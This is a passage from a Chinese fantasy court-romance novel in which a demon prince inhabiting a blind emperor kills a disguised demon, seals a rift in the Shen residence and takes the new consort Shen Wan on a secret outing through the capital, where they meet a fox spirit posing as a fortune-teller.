魔情一挥袖扫开房门,一道身影从中掠出,试图掠过他逃窜,魔情回身按住那农女,他面色依旧波澜不惊,沈纨则由震惊转为惊恐,她见自己所救的农女模样变得极为可怖,皮肤下显出不自然的蠕动,眼睛直冒黑气。
突然那农女的身躯一裂两半,娇怯女子的外在像张薄薄的人皮般左右剥开,内中伸出数个黑色触手,一道黑影破体而出冲向她。天子身形一闪挡到沈纨面前,他没有武器,应对方式非常原始甚至暴力,手直接穿过这怪物心脏,掐碎了它的魔源。
魇魔黑雾般的身体突然裂成无数碎片,再化为细小的烟尘,风一吹不见了踪影,院里落下一张皱缩的人皮。
到了这份上沈纨也看明白了,她惊魂未定地站在魔情身后,呼吸急促。
“这下你知道原因了吧?”
尚有颇多费解之处,但沈纨由于受到惊吓,一时间难以细究,她面前是当今天子,行为却颇不似一国之君,武学修为高得离谱,也不知是何处习得的功夫。
她定了定神才道:“陛下,实在是对不住。妾此前是非不辨,对陛下出言不逊,引发这许多事端,皆因妾之过,还望陛下恕罪。”
“你受伤了吗?”
“没有,有赖陛下的维护……”她话音未落,两位被支走的婢女此时端着茶果穿过竹径,往她闺房的院落而来,沈纨突然贴近了他。
“嗯?”
“人皮……人皮……有人来了。”沈纨在他耳边提醒道。
魔情会意地微微俯身,手托着她的头,一副耳鬓厮磨的样子,比之先前在桃树上相拥,愈加暧昧亲密,她脸颊发烧,蒹葭和白露出现在月洞门外,远远瞧见天子与她厮磨,如同被点了穴般愣立当场。沈纨冲她们摆了摆手,二人满面通红,羞赧地退下。
花圃之下萎顿着一张皱缩的人皮,她已知道自己所救的山间女子非人了,但现在该怎么处理呢?
突听到身后噼啪一声,魔情手一挥,人皮腾地窜起一股火焰,沈纨大惊道:“陛下放火了?!”
“朕岂有这样的神通,当然是自燃的。”他按着沈纨不让她回头,魔火异常明亮,烟尘稀少,很快就烧没了,那可怜女子被怪物吃得只剩一张皮,最后连尸身都没落下。
但魇魔依旧留下了痕迹,这类魔物死后会自动魂归魔界,从而在人间留下标记,魔情的部下无法彻底摧毁它,须由他亲自动手。如今沈纨的闺房小院里留下一个小小的时空裂缝,有轻微魔气渗出,到了夜晚阴气加重,需及时封锁这道裂口。
“陛下?”他抱着她时间的长了一点,沈纨语气疑惑,并有些难为情。
“你真是个可爱的姑娘。”他明明说着很暧昧的话,语气却波澜不惊,“昨夜深得朕心,朕都有些舍不得你了。”
不是,他们分明没有……
但皇帝却继续道:“朕就在府上再多叨扰一日吧。”
4. 魔将
天子要留宿沈府,传讯的太监赶回皇宫准备,又差人将此事禀报太后,由于天子昨日的荒诞之举,选秀被迫中断,如今仅有沈家女郎入宫,其余人选都成了待议。当时秀女分三人一批进殿,天子却在大殿上和沈氏拉扯,旁边两个本在内定名单上的世家贵女就这么被打发了,脸上颇为挂不住。
如今宫里只有沈家女郎,人数太少,太后正与白尚宫商议入宫的人选,太监带来天子要留宿沈府的消息,令谢太后和白尚宫皆是一怔,太后稳住心神,点了点头,嘱咐传讯的太监,皇帝重伤才愈,要小心伺候。
太监领命离去,谢后放下笔,一副伤神的模样,她身旁的宫女秋信上前来替她锤肩,又示意宫人,换个软枕上来让太后倚靠。
“皇儿和沈氏在何处见过吗?”谢后休息片刻后问道。
秋信深得太后信任,在宫里已服侍了多年,她想了想:“沈家夫人出阁前,随大长公主进宫拜见过几次,但沈娘子应当不曾进过宫。”
“这实在是,太像先帝了。”谢太后叹息。
秋信一时不语,神色黯然。
谢太后本为先皇继后,是元后嫡亲的妹妹,元后与先帝没有子女,临终前留下遗言,希望自己年少的妹妹入主中宫,小谢后被册为皇后时还很年轻,不久后就诞下当今天子。而先帝一向宠爱杜若夫人却多年无出,即便如此,杜若宠爱不衰,而先帝与两任皇后的关系,皆不过尔尔。
谢太后看着名录上的名单,突然掩上了卷册。
秋信还道太后需要暂时休憩,忙唤来宫女更换新茶,孰料谢后道:“名册收了吧,等皇帝回宫再送去,若他没有相中的女郎,就暂不选了。”
“娘娘这是何意?”秋信讶然。
“且等沈氏入宫之后再议,若天子如先皇一般,后宫进再多人又有何益处,徒增伤心人,白白误了这许多小娘子的青春。”
沈纨此时还浑然不觉,自己成为了唯一入宫的女子。她如今正面临和昨夜选秀一般的窘境,夜幕降临,宫里送来了天子的起居用具,皇帝决定留宿沈府,下榻之处,顺理成章地成了她的闺房。
她对昨夜的侍寝全无记忆,今夜又要共寝,内心很是尴尬,女孩儿家绣榻相较帝寝小了很多,沈纨昨夜侍寝,天子的龙榻,在那上面滚一圈都掉不下去。
因天子留宿,徽元殿来了宫人在府中伺候,福锦领着众人替天子和沈婕妤更衣。烛光摇曳,人影映着窗纱,蒙在天子双眼上的系带轻轻晃动,他抬手任人替他更衣,另一边的沈纨,钗环珠翠也被悉数摘下,长长的青丝垂落在身后,身姿映在窗纱上显得极为美妙。
因顾及天子失明,又在全然陌生的卧房中,有宫人上来想要搀扶天子就寝,他却偏过头向众人道:“你们越发好奇了,非要看着朕和婕妤共寝才舍得离去?”
福锦领会圣意,忙领着众人全退了下去。由于皇命,只留下若干侍卫守在月洞门外,而闺房之外,留下沈纨的两个婢女蒹葭和白露轮流守夜。
沈纨身着薄衣,站在天子面前,一时没有言语。好在天子失明,否则她定然会更加窘迫,一个月前才入宫,昨夜选秀,没有一点心理准备,连遭两夜的惊吓,心理上毫无已为君妇的感觉,她现在也不知道该怎么办。
“站着入睡?”天子揶揄道。
她忙上前来握住天子的手:“请陛下随妾来。”
她意识到自己正牵着一个男性上自己的睡床,心中百味杂陈,话本子里描述的旖旎之情,她和陛下之间一概也无,他们走到床前,天子突然将她一把抱了起来。
魔情记得昨夜这么抱着她的感觉,因为看不见,他会更容易记住其余那些令他印象深刻的感觉,轻盈柔软的体态,带着一点花的香气,青丝如云,呼吸也是柔软的。
只不过她今天醒着,还很紧张,身躯僵硬。
“你很害怕?”
“陛下喜欢出其不意,妾确实难以招架。”
他不置可否,把沈纨放在了床上,但出乎她意料的是,他并未一同躺下,而是坐在了床边。
“睡吧。”他轻声道,这句话不像一句床前的安抚,而更像一种命令,沈纨甚至没有太多的时间感到困惑,很快就闭上了眼睛。
前半夜负责守夜的是蒹葭,她搬了一个椅子坐在廊下,突然强烈的倦意袭来,她脑袋一点一点的,然后身体一偏,靠着廊柱睡着了。月洞门外,值守的侍卫呵欠连天,听得几声沉闷的身躯倒地的声音,整个东南小院,所有的人都陷入了深眠。
而非人的族群趁夜活跃起来,在沈纨绣房外的那凡人不可见的小小时空裂隙,此时已经冒出了紫气。
魔情从沈纨房中走出来,绣着龙纹的明黄色寝衣被风吹起了衣角。他面前出现异象,半空中仿佛出现了旋转的气流,像是湖面荡漾的水波,那波纹逐渐聚成人型,一位相貌奇特而美艳的女子,仿佛坐在一朵看不见的云彩上,从半空中缓缓降临下来。
女子肤色奇特,乍一看有些病态的苍白,但细看之下,竟泛着极浅的紫色,一把长发如轻云,竟是半透明的,肌肤上有蓝灰的刺青,看上去既像火焰,又像是奇特的咒文,爬在她裸露的双肩、手臂,和小腿上。她身着一袭材质怪异的银色衣装,看上去就像是水做的。
她的眼珠是莹白的,眼白的部分却呈深色,显出一种妖异的魔性,像夜色中倒映在漆黑湖面的满月。
魔情因伤来到人间,从魔界的裂隙中跌落,闯入人间的皇家猎苑,还遇到个情绪激动的冒失少年,他当时伤重,面对那少年的敌意,压根来不及思考,直接将他夺舍,没成想竟是一国之君,阴差阳错地留在了人间。
他身边只留下两位部下,其中一位,就是他面前这美丽妖冶、身躯半透明的女子,梦神一族的魔女,名为莫耶。
魔女降临的同时也张开了结界,小院四周空气波动,仿佛有什么东西正在展开,将时空裂隙笼罩其中,
魔情身边出现了另外一位魔将,一袭黑衣,生得极其高大,头上长着枯枝般的角,现形时宛如一团阴影,头脸处完全是一团黑雾,倏忽间黑雾散去,露出俊秀面容,只是苍白得可怕。他是魔公子麾下的另一名魔将,灵山枯木族的山鬼。
时空裂隙这时仿若有了生命一般,像是妖兽张开的嘴,开始吸取空气中隐约残留的魔气,贪婪而急切地想要吞噬什么,裂口泛着紫黑的魔气,似有极低阶的魔物伸手扒着缝隙,想要从中冲出来。
山鬼袖中飞出剑气,斩断魔手,狞恶的爪子落在地上化为黑雾,魔情踏入阵中,来到裂隙前,裂缝张开巨口,做出咬噬之状,他伸出手,放在裂隙上,两股力量对抗拉扯,魔气爆冲,将他的发丝和衣袂吹得飞散,手沿着裂隙向下弥合裂开的口子,从中涌出殷红如血的粘稠液体,以及黑雾的魔息,一滴滴落在院落青葱的草地上。
裂缝一点一点地闭合,魔情站在院中良久,远方的天色渐泛鱼肚白,站在魔情身后的山鬼以魔语传来讯息:
公子……沈姑娘已醒……
晨熹透过朦胧的窗纱,晚春的熹光洒在床边,沈纨睁开双眼,她微微缩起肩膀,感到一丝细微的寒气,她在那一瞬间有点恍惚,躺了一会儿才记起昨夜发生了什么。
天子昨夜留在沈府,还宿在她闺房里,但又一次,她独自从卧榻上醒来,枕畔没有共寝的痕迹,她也不太记得入睡前究竟发生了些什么。
沈纨恍惚间想起来,头一次侍寝的时候,陛下清晨倚在床头,她发现他没有呼吸,让她受了很大的惊吓,如今醒来枕畔无人,她内心慌乱,赶紧掀帘下了床。
天子言行神秘莫测,若是自行闯祸还罢了,偏有她在旁伴驾,若有三长两短,总有种池鱼之殃的隐忧。
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她穿过前厅,推开了门。
而魔情就在那一刻转过身来,整个庭院被强大的结界所笼罩,他们明明面对着彼此,魔公子失明看不见她,只能感到少女略带惊惶的呼吸,而沈纨目之所及,只有空旷的庭院,两个人仅相隔一丈之地,却仿佛身处两个世界,结界波动,泛起涟漪,互相看不见对方。
魔情足下还有残留的魔息,像摇动的紫色水草。
“还有多久才能清理干净?”他轻声问,他困在人族的肉身中,目前修为尚未恢复,还无法完全表达出魔语。
午时。魔将以魔语答复。
看来,还得想个法子,让人暂时不能进来
“你们先退下。”他低声命令。
两位魔将躬身领令,莫耶在退下前,用魔气在沈纨闺房西侧的假山之后标记了一个位置,魔情走了过去,而结界收缩成一个钟形,笼罩着那缕魔息,庭院除了中心有些不太寻常的光影浮动,几乎恢复如初,魔情缓步从假山后踱出来。
沈纨正打算说点什么,只听一旁咚地一声,一旁在廊下睡了一整夜的蒹葭,脑袋磕到廊柱上,惊醒了。她吃痛睁眼,见沈纨和天子都在庭院之内,慌慌张张地想站起来,又忙忙跪下:“见过陛下、娘子,奴婢……奴婢就这么睡过去了,实在不该,还望陛下恕罪……”
“你守了一夜,辛苦你了,你把福锦叫来,然后就休息去吧。”
沈纨也冲她点点头道:“去吧,自有宫里来的姑姑们会过来伺候。”
趁蒹葭离去,魔情转向沈纨问道:“想不想和朕出府转转?”
“出府?”沈纨尚有些迷糊,一时未解。
“就我们俩。”
“陛下万金之躯,此举怕是不妥。”
“看不起一个瞎子?”
沈纨大惊:“臣妾岂敢。”
“你很快就要入宫,如今又晋了位,在府中已经不得自由,更别提日后在宫里,真不想出去了?”
沈纨默然不语,想到未来深宫里的生活,她的确被说动了。
这时,福锦领着数名宫人前来,带着洗漱的用具,众人见天子和沈婕妤站在小院里,面露诧异,但还是恭恭敬敬地福身请安。
天子与沈纨回到房中,更衣梳洗完毕之后,魔情喊住了福锦。
“福锦姑姑留步。”
“陛下有何吩咐。”
“朕和沈婕妤要单独出府,去京城转转,午时前回来,劳烦姑姑替朕遮掩一二。”
福锦失色道:“陛下身份贵重,岂能如此轻率出行。”
天子不悦道:“福锦,朕若有闪失,你或许难逃罪责。如今朕旨意在先,你若是抗旨……”他停顿了一下,其中的威慑令人吓得大气也不敢出,“朕现在就重罚你。”
福锦满头大汗地跪下:“请陛下三思。”她身后的宫人也跟着都跪了下来
“不思了,午时前回来,就是在市集走走。朕敬你是宫里多年的老人,再横加阻拦,别怪朕不念旧了。”
“奴……奴婢遵旨。”
“都在月洞门外候着吧,午时前谁都不许再进来。”
“陛下,我们午时才回来?这期间父亲和母亲必然会问起,该如何解释呢?”
天子偏头想了想:“福锦姑姑,你就说,朕和婕妤娘子感情深厚,如胶似漆,共眠至日上三竿而不醒,不便打扰。”
沈纨在一旁涨红了脸,天子行为荒诞不经还罢了,言辞上也百无禁忌,脸不红心不跳地说出些荒唐话语。
魔情拉着沈纨出了卧房,他站在院落中,冲着虚空中的一个方向点了点头,隐去身形的魔女用魔气标记出了几个方位,魔情一把揽过沈纨的腰肢,轻盈地跃起,顺着莫耶所标记的方向,掠过几重屋檐,然后稳稳地落在沈府的高墙之外。
“接下来,靠你带路了沈婕妤。”
5. 垂丝海棠
“陛下想去何处?”
“朕不常出宫,想来婕妤也甚少出府,不如趁此机会去些想去的所在,免得将来入宫留下遗憾,”
“莫非陛下本就想出宫,才与妾身同返沈府?”
“如果你非要这么想,也不算说错。”
“陛下若是想在京城走走,何不提前同妾言明,如今身无分文,可去不了许多地方。”
魔情这才想起来,离去的仓促,一个皇帝,一个闺阁千金,越是身份贵重,反而越是身上一个铜板也无,在京里游玩怕是寸步难行。
他抬起头,手中冒出透明的蝴蝶,飞过院墙传讯,不久后沈宅另一头的魔将有了回应,很快,一只白色的鸽子,衔着几吊钱,扑闪着翅膀飞到他们面前,魔情伸出手来,掌心接住了沉甸甸的钱串,白鸽啄着他的掌心,还吐出一块小银锭。
“这些够了么?”
沈纨惊呆了,不知道方才究竟发生了什么,而鸽子转头飞回了沈宅,一晃消失在深院中,留下一串涟漪般的银光。
“陛下是如何做到的?!”
“驭鸟之术有何难?不过这钱是从沈府的账房衔出的。”
“不碍的,比起陛下的赏赐,这不过是九牛一毛罢了。”
他总把一些匪夷所思,看上去极难的事说得轻描淡写,又不欲多做解释,沈纨也只好把疑惑丢开,牵着他的手远离了沈宅,沈家所在的光华坊多有官宅,道旁整齐清净,才走了没多远,沈纨突然顿住脚步,把天子拉到一家宅邸院墙的阴影之下。
“嗯?”魔情皱了皱眉,不知她为何突然停了下来。
前方传来震耳的马蹄声,一辆高大的四驾的马车裹挟尘土,气势汹汹地向他们所在的方位驶来,尘土飞扬,道旁的行人慌忙避让。有一民妇险些被撞倒,车夫猛地一拉缰绳,厉声呵斥道:“你长没长眼,作死不成?”
民妇惊魂未定,脸色苍白地退到街边,一句话也说不出来,道旁有个青年书生见状,忍不住道:“欺人太甚,这条街是你家的?马车能不能慢些?”
“哼,你们这群刁民懂什么?”车夫语气傲慢,挥舞手中的马鞭:“这可是徐府的马车,我家大将军连天子都礼敬三分,你们是什么东西,敢在这儿聒噪。”
马车里有个声音道:“好了,别在街上和这些市井小民多费口舌,误了贵人的吉时,你我都不好担待。”
车夫闻言,再次挥舞马鞭,驭车往前疾驰而去,马车并不刻意避让行人,但有了前头这一遭变故,路人避之不及,纷纷退到车道两旁。马车去势快,车帘飞起一角,里面坐着个四五十岁的中年女子,体型微胖,另一边坐着个十六七岁的少女,看上去愁眉不展。
马车去远了,扬起的尘土引起身后行人轻微的咳嗽,高门恃权专横,行事不法,众皆侧目,但敢怒而不敢言。
良久后才听见路人小声交谈。
“徐家太爷又纳妾了,三百两银子,买了城南窦家的姑娘,还不到十七岁。”
“徐家的太爷?那可是年近九十的人。”
“可不是,一向就喜欢年小的姑娘,到这把年纪了也不停往府里进人。”
“要我说,这实在是太好色了,这把年纪,也不怕闪了腰子,府里的小辈不曾劝慰?”
“上梁不正下梁歪,徐家两位公子也未曾婚娶,府里的姬妾何曾少过。”
“好色倒也罢了,放纵家奴如此跋扈,天家竟也容忍?”
“天家。”另一人突然哼一声笑道:“你可曾听闻这两日的一桩轶事,天子前些日子在春蒐中受了伤,将养了个把月,正逢近日天家有选秀,闻说陛下相中了沈郎中家的女郎。”
沈纨原本欲拉着天子离开,闻言突然尴尬地顿住了脚步。
“沈家女郎素有美名,入宫对家族是个荣耀,这算什么轶事?”
“你有所不知,陛下在选秀之时是一眼相中,一刻也不多等,当夜就侍了寝,如今尚在宫里还不让出来。”
“呀,这也……重伤初愈就急着把京里最美的姑娘拉上龙床,何须如此着急。”
君臣既是一样的行事,两位闲人不禁抱怨起了世风日下。
民间对张牙舞爪的世家有怨言,这倒还罢了,但如此冒犯天子,沈纨忍不住看向身旁的少年,心中窘迫而害怕,但他却没什么反应,只是微微勾着唇角,不发一言。
他倒不怎么生气,虽然事是他做的,但挨骂的却是小皇帝,和他魔公子有什么相干?
“市井言谈不足为道,陛下随妾来吧。”她拉起魔情的手,远离了是非之地。
难得出来一趟,天子却无特别想去之处,只说随她高兴。沈纨心中暗自揣度,皇帝失明,总不至于去观景,如今也不知该往何处,京城东市附近倒是有个花神院,护持女子,一直未曾有机会去过,如今即将入宫,倒是可以求个平安,只是日前因佛经触怒天子,再去拜花神恐他不悦。不过,花神院所在的太平坊临近东市,一向有热闹的市集,如去不成花神院,也可以去东市看看。
于是她牵着天子的手,离开光华坊,向东而行。
越接近东市,就越是热闹,往来的车水马龙,客栈飘出饭菜和酒的香气,有些更风雅的酒楼,还传来琴音和歌声。
魔情由着沈纨牵着他前行,察觉到一件罕事,他在人群中感觉到,有异族混迹其中,并非血统纯粹的凡人,而是只有一半的血统,也不知另一边的血亲,来自于什么族群,也许是狐狸,或是灵木一族。察起气息,并无害处,只不知是何原因,竟留在人间,隐于烟火市井之中。
临近花神庙,魔情察觉到不远处香火鼎盛:“想到庙里去?”
“陛下说笑了,花神院只有女子可入,妾岂能把陛下单独撇下,只是因为此处与陛下有些因缘,妾才想带陛下来瞧瞧。”
“和朕有因缘?”魔情皱眉,显得很是困惑。
沈纨露出诧异的神情,这在京城是一件人尽皆知的事,何以陛下一副不解之态。
“花神院是因太后娘娘而闻名,陛下不曾听说么?”
天子不置可否,只对她道:“你不妨说详细些。”
“花神院护持女子,许愿最是灵验,闻说当年陛下的母后在入宫前,曾来此处拜花神娘娘,还求了一个人参娃娃。先帝年近不惑,后宫妃嫔一无所出,但殿下入宫之后,就迅速有了陛下,花神院因而名扬京师。”
“母后鲜有提及,我不太记得了。”魔情沉吟,为了得知小皇帝的信息,他麾下魔将搜过皇太后的魂,太后如今年纪也并不大,还未满四十,从他获知的信息来看,这位谢太后,在宫里过得并不开心。
“既然灵验,人都来了,你不去求个平安?”
沈纨踌躇,天子失明,她怎能撇下他独自离开。
“你去吧,若有危险朕会知道。”
他看起来丝毫不在意,而她自己,手无寸铁,一个丫鬟仆从都不带,就从府里私自出来,若让双亲知晓,不知会受到何种惊吓。但青天白日的,花神院香火鼎盛,又有巡城的守军,于是她道:“谢陛下,妾很快就回来。”
“慢着!”沈纨才转身天子又喊住她:“你过来。”
花神院前人多,魔情把她拉近了些才低声道:“你求你的平安,不许带上朕,若是抗旨,朕会知道,还会罚你。”
他们站在花神院前的一株垂丝海棠之下,花树掩
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映,少年低着头,蒙眼带落在沈纨肩上,靠近她的耳朵轻声细语,挨得这样近,动作亲密,同新婚未久的少年夫妻没什么区别,但他说出的话语,却是冷淡又略具威胁。
沈纨无奈:“妾……遵旨。”
她扭身进了花神院,院里香火缭绕,前来拜花神娘娘的女子甚多,她为母亲和自己都求了个平安,她不敢让天子等候太久,正打算离去,抬眼却见对面走来几位少女,看着眼熟,慌忙避到一旁。
“好巧,徐妹妹,今儿怎么也想到来拜花神娘娘?”
“我就是不明白,为何陛下就只看中了沈家那丫头。”她听到一个清脆但略为骄矜的声音。
来者是徐敦将军的独女,徐府千金徐兰宁,此前与她同为秀女,今日也到了花神院来。徐家女郎父兄如今皆为朝中重臣,她本该内定入宫成为高位嫔妃,但没想到天子昨夜将沈纨纳入后宫,其余秀女一概被遣散。也不知她今日前来,是为了求个好姻缘,还是想延续与天家的缘分。
她的女伴道:“徐妹妹若想要求姻缘,如今正逢春,点这桃花香最适宜不过,不妨来试试。”
魔情此时独自站在花神院外的海棠花树,突然有种心神被扰动的感觉,和此前他因梵音被干扰不同,是一种被“点名”的不适,他如今伤重,修为大受影响,对那些细微的扰动都非常敏感,他心下有些恼火,千叮咛万嘱咐,她依然食言。
沈纨好不容易避开人群出来,却见天子神情不悦:“我之前与你说过什么?你许愿不可提及我,你全不放在心上。”
“岂有此事,陛……郎君的吩咐,妾岂敢违拗。”花神院周边人渐多,她不得不改了说辞。
“撒谎。”
“妾没有!”
两个人几乎是对峙了片刻,气氛有点僵,魔情从她的语气里已能判断,她说的话属实,却难以打消疑惑,而沈纨满腹委屈,好不容易出来一趟,最后却如此扫兴。
一旁忽有人笑道:“郎君和小娘子可是新婚的夫妇?花神娘娘在前,要和和气气的,可不兴吵架呀。”
二人同时转过头去,沈纨见到是个在花神院前卖纸伞的匠人,看起来应当精于画技,足边摆着各色颜料,撑开的油纸伞上花团锦簇,画着符合时令的春,有桃花,迎春花,以及粉白的梨花。
那伞匠见魔情失明,面露讶色,又道:“对不住。”
“你认为我们是夫妻?”
“难道不是?”伞匠惊讶。
沈纨默然不语,她如今是天子唯一的嫔妃,可若是在民间,她的身份不过就是个妾罢了。
却听得天子答道:“你若要这么说,昨夜算是新婚。”
伞匠笑了,趁机推销道:“在下卖的是花神伞,公子可要讨个好彩头。”
魔情未及回答,徐家女此时和女伴踏出了花神院,沈纨上前来道:“可否试试你的伞?”
“请吧,娘子。”
沈纨赶紧抓起一把伞,也未认真看是什么花色,油纸伞微微倾斜,遮住了她和天子。此时微风拂过,开在一旁的垂丝海棠,花瓣簌簌抖落,她本就生得极美,此时日上中天,光影之间,海棠花映着美人,更是艳不可挡,那伞匠一时间竟看呆了。
待徐家女郎的足音远去,上了马车,她这才把伞归还给了伞匠:“我瞧着这把就不错。”
她恰好选中了画着垂丝海棠的油纸伞,油墨鲜亮,想来是刚画上不久,画面非常应景,重重花瓣垂落在花神院的碧瓦飞檐之下。
沈纨把鸽子衔来的三十吊钱付了出去,伞匠欢喜地收下钱,在他们临去前笑道:“娘子美貌,郎君好福气,花神娘娘灵验得很,小生在此也祝贤伉俪百年好合。”
6. 狐狸算卦
眼看临近午时,魔情带着沈纨打道回府,回程遇到件轶事,太平坊西有间驿站,专为接待地方官员及其家眷,眼下住了两名来自京外的秀女,在地方上被挑选出来,舟车劳顿地进京,入宫一月,选秀时却连大殿都没上,天子选中沈家女郎,遣散了其余秀女,客栈前站了些好事看热闹的闲人,众说纷纭。
沈纨留心听了一听,却变了脸色,选秀不过是前天之事,轶闻已经传遍京城,如今宫里尚无进一步的安排,客栈里就已经出现了徐府的说客。去年西北有战事,如今徐敦将军和长子得胜归来,其功勋又得记上一笔,京里有想要巴结徐府的人家,才两日的光景,就有人打起了落选秀女的主意,若天家有任何安排,与同天子争妇何异?
她又想到前些日子翻阅父亲书房的拜帖,知晓徐家的大公子有意娶她,更是不自在,沈纨忍不住偷瞟身旁的天子一眼,他却无动于衷,不解她突然驻足:“怎么,你还有地方想去?”
“临近正午,还是快些回府吧。”沈纨牵起天子的手,想赶紧远离是非之地,但此时驿站里的说客也出来了,她把天子扯到路边的民巷之内,撑着伞避开。
“怎么?”魔情感觉到她撑开了伞,遮住了已爬上中天的太阳。
“前头来了些人甚为面熟,恐认得陛下。”
这时附近听到些动静,听到个年轻人的声音道:“我此番会试,可能高中?”
另一老气横秋的声音道:“待老夫细细看来,公子方才摇出的,乃是火水未济卦,此科险中藏机,离功名仅差一线,若公子在春闱之前来,择个文昌位好好正一正风水,如今可保高中,可惜,可惜。”
“苦读多年,竟仍是如此,如今可还有转圜余地?”
算命先生机灵地拍出一个符:“公子若是在家中的文昌位供奉此符,或可有转机。”
“多少钱?”
算命先生说了个价钱,青年犹豫道:“先生的护符索价不菲,我若落第,又如何呢?”
“那当然是包退。”算命先生捻须,笑眯眯地答。
沈纨听得蹙起了眉头,怎么听都像骗子,但那青年公子咬咬牙付了钱,请了护符离去,她不禁悄声道:“春闱刚过,放榜在即,这如何能做数?若这老先生明日就收拾包袱离京,那公子落第,钱不但白花了,人也寻不着。”
“我倒是觉得有些意思。”天子并不正面回答,却忍不住笑出来。因为他察觉出些门道,虽然看不见,但听其话音苍老,而沈纨又称此人为“老先生”,恐怕年纪不轻。但面前这卜者分明不是人类,而是只狐狸,且修为并不深,化成人形,隐于闹市之中。凡人有凡人的气息,而这算命先生,魔情能察觉到他身上的狐火,给的文昌符,也不完全是骗,而是某种魇术,若供奉得当,怕是能蒙蔽主考,给这青年一个登科的分数。
那狐狸算师见民巷入口站着一对少年男女,男的失明,女的极美,显然出身不凡,不由道:“娘子和郎君可要来算一卦?”
“这就,不必了。”沈纨忙摆手。
“我观娘子近期有一桩天大的喜事,然吉中藏凶,若善导机缘,未必没有转圜的机会。”
“老丈何以见得。”
那狐狸露出一副尽在掌握的笑容:“娘子可是生于冬月?幼少之时还与佛门有缘。”
沈纨愣了愣,又问:“老丈还能看出些什么?”
“娘子应当命格偏弱,体质易招惹邪祟,才会亲近佛门,我说得可对?”
魔情听得有趣,一言不发,想看看这狐狸还能说出些什么来,虽然以老者的皮相示人,但分明还是只小狐,修为在他面前是完全不够瞧的,但应该懂些玄理,又知法术,沈纨显然有点被他的话诓住。
沈纨听后果然沉默,她幼时多病,清泉山的师太曾想度她出家,可保一生平安,双亲哪里舍得,但这些年来礼敬神明,也算平安度过。近来的烦恼,也不过是面对徐氏的求娶而感到为难,皆因徐家虽权势逼人,但家风不正,但这些烦忧已经因为她意外入宫而烟消云散,她不禁道:“我这些年过得平顺,哪有什么邪祟呢。”
“娘子此言差矣,如今身入险地,更需防患于未然,否则邪物侵体,则悔之晚矣,我这儿有一辟邪珠,可趋吉避凶……”这狐狸对相术有些造诣,但天性狡狯,又开始兜售起护符来。
“多谢先生好意,但我囊中羞涩,并无足够银两。
“我观两位贵客出身不凡,不如就把这辟邪珠送到府上,再……”
魔情忍不住笑出声来,引起狐狸的注意,他调侃道:“你这辟邪珠辟的什么邪?灵?妖?还是……魔?”
“郎君不懂了吧?我这辟邪珠以雷击木磨制,在九天元帅的太岁宫里开过光,百邪不侵,效用是一等一的。”
魔情噢了一声,作惊讶状:“真厉害。”此时他察觉到山鬼已来到附近,暗中执行护卫的职责,如此说明,沈府里的魔界裂隙已经修复,随时可以回去了。魔情发现这狐狸完全没意识到有极高阶的魔将现身左近,显见修为有限,但也幸好,没能发现,若这狐狸受到惊吓,反倒横生枝节。
“我观郎君气宇不凡,想来……”狐狸打量了一下魔情,今日遇到的这对少年男女,看着出身不凡,是两尾大鱼,他赶忙掐算起来。
沈纨怕他冒犯天子,心已提起来,果然见这算命先生笑容渐渐消失,仿佛不能置信似的,又开始占算起来,算了三四遭,就像隔着镜面触碰难以捉摸的深邃世界,寻常凡人,他略施法术,就能获知对方的气运和大致的生辰,然而面前这少年郎君,却如蒙着一层雾般,什么都看不出来。身边这女郎就好懂得多,近期有红鸾喜事,但身入险地,桃花天喜星皆不显。
狐狸算了半天,也搞不清面前的郎君是什么来头,只得说道:“郎君不是凡人,老夫不敢冒犯。”
“我们银两不足,那辟邪珠,只能多谢先生好意。但今日有劳先生点拨,尚余这一两碎银,聊表心意。”沈纨拿出那剩余的一点碎银,放到狐狸的卦摊上。此时驿站的徐府说客业已离去,如今也已过了午时,再耽搁下去,沈府里该出乱子
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了,沈纨不敢久留,与天子赶紧离开了太平坊。
他们回到早晨离开的院墙,魔族标记犹在,魔情带着沈纨越过高墙,足下生风,轻盈地掠过房檐,稳当地落进沈纨闺房的院落里。
福锦与几位女官守在月洞门外,忧心如焚,见天子和沈婕妤归来,终于松了口气。这两个时辰里,沈府的仆役和其他宫人来过几回,她以天子寝殿掌事宫女的身份将人挡了回去,说天子和沈婕妤尚未起,谁都不得来打扰,众人离去时脸上都带着暧昧而微妙的神情,而福锦早出了一身冷汗。
院子里的裂痕已经修复,仿佛什么都未曾发生过。
沈府早就备好了宴席,等着迎接天子,天子说今日只是家宴,让沈氏夫妇不必拘泥,这才省下了诸多礼节,沈纨面对双亲极不好意思,她和陛下偷跑出去,在京城游玩了一个上午,有福锦姑姑遮掩才没出什么乱子,但这么一来,除了福锦姑姑和早晨服侍盥洗更衣的宫女,其余人都会认为,陛下和她在闺房亲热到午时才起来。
午宴之后,宫里赐下的封赏和代天子拟定的圣旨才送至沈府,而天子就在一旁,倚坐着托腮看大监于公公宣读旨意,将沈纨册为婕妤,显得场面有些滑稽。此外,宫中派教引嬷嬷继续教导沈纨宫规礼仪,还派来了个女医照料,并将正式进宫的时间定在六月末。
按照以往的惯例,秀女中选之后,除了学习宫规,入宫前尚有诸多准备,司天台还会择吉日入宫,全套流程下来,一般都需要半年以上,如今入宫时间却缩短到两个月,还派了个女医官过来,沈纨心中本来抱着期望,将是最后一次与双亲过中秋,这是以往中选秀女的惯例,若非年初,就会选在中秋之后才进宫。如今时间大幅提前,她心下不解,因过早地与双亲分离,内心微觉失望,不由问:“入宫的时间何以提前了这许多?”她实在是看不出皇帝有急着要她入宫的意思。
女医听闻,在旁轻声道:“婕妤有所不知,这是太后娘娘的旨意,一则娘娘慈爱,担忧娘子身体,让奴婢前来照料;二则,”女医停顿了下,声音放得更轻:“婕妤娘子连着两日侍寝,若是怀上了皇嗣,年底才入宫,彼时已然显怀,到底不像,无缘与高堂共度佳节,委实遗憾。”
沈纨不由得红了红脸,两次和天子共寝她都陷入深眠,尤其选秀当夜,完全不知道发生了什么,也不确定是否真的侍寝过,多半没有,稀里糊涂地就这么入了宫,不知道这究竟算什么,不知道陛下究竟是什么打算。
天子站在较远处,沈纨本以为她没听见,岂料他在离去前,她与双亲在仪门内恭送天子登轿,他经过沈纨,突然停下来,低头道:“皇嗣?”他声音极轻极轻,沈景和姜夫人听不分明,只有沈纨听得清清楚楚,涨红了脸。
“不瞒陛下,妾也觉得很是困惑。”她两次都睡得不省人事,谁知道有没有,多半没有,若真有什么,岂不是更奇怪了。
“沈婕妤,六月再见。”天子不置可否道,转身离去了。
那种事是不可能的,人和魔族诞育后代,岂有那么容易。
7. 蝎王船
